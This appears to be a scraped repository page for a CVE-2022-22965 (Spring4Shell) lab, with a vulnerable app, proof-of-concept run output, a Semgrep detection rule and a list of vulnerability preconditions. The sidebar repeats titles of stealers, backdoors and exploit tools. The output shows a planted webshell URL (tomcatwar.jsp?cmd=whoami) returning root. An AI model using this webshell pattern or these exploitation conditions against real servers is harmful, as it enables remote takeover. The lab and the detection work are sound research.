CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

A BurpSuite extension to parse 5GC NF OpenAPI 3.0 files to assess 5G core networks

Separation of Mainlobes and Sidelobes in the Ultrasound Image Based on the Spatial Covariance (MIST) and Aperture-Domain Spectrum of Received Signals

Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Cracker - Tools CRACK FACEBOOK DAN INSTAGRAM DENGAN FITUR BANYAK

Execution After Redirect (EAR) / Long Response Redirection Vulnerability Scanner written in python3

proof-of-concept running docker container from omero web

The Web Application Firewall Paranoia Level Test Tool.

BurpSuite Extension: Log4j RCE Scanner

Set the draft security HTTP header Permissions-Policy (previously Feature-Policy) on your Django app.

Brute smb share - Brute force a SMB share

Exploit and Check Script for CVE 2022-1388

Open Source Intelligence gathering tool aimed at reducing the time spent harvesting information from open sources.

A TCP Backdoor made in python

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

SeaSurf is a Flask extension for preventing cross-site request forgery (CSRF).

Python exploit code for CVE-2021-4034 (pwnkit)

A tool combined with the advantages of masscan and nmap

Remote control your Greenbone Vulnerability Manager (GVM)

Python implementation of the diceware password generating algorithm.

Hack computer in the form of RAR files from all types of clients, even Linux

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

A BurpSuite extension to parse 5GC NF OpenAPI 3.0 files to assess 5G core networks

Separation of Mainlobes and Sidelobes in the Ultrasound Image Based on the Spatial Covariance (MIST) and Aperture-Domain Spectrum of Received Signals

Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Cracker - Tools CRACK FACEBOOK DAN INSTAGRAM DENGAN FITUR BANYAK

Execution After Redirect (EAR) / Long Response Redirection Vulnerability Scanner written in python3

proof-of-concept running docker container from omero web

The Web Application Firewall Paranoia Level Test Tool.

BurpSuite Extension: Log4j RCE Scanner

Set the draft security HTTP header Permissions-Policy (previously Feature-Policy) on your Django app.

Brute smb share - Brute force a SMB share

Exploit and Check Script for CVE 2022-1388

Open Source Intelligence gathering tool aimed at reducing the time spent harvesting information from open sources.

A TCP Backdoor made in python

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

SeaSurf is a Flask extension for preventing cross-site request forgery (CSRF).

Python exploit code for CVE-2021-4034 (pwnkit)

A tool combined with the advantages of masscan and nmap

Remote control your Greenbone Vulnerability Manager (GVM)

Python implementation of the diceware password generating algorithm.

Hack computer in the form of RAR files from all types of clients, even Linux

Vulnerable app requirements¹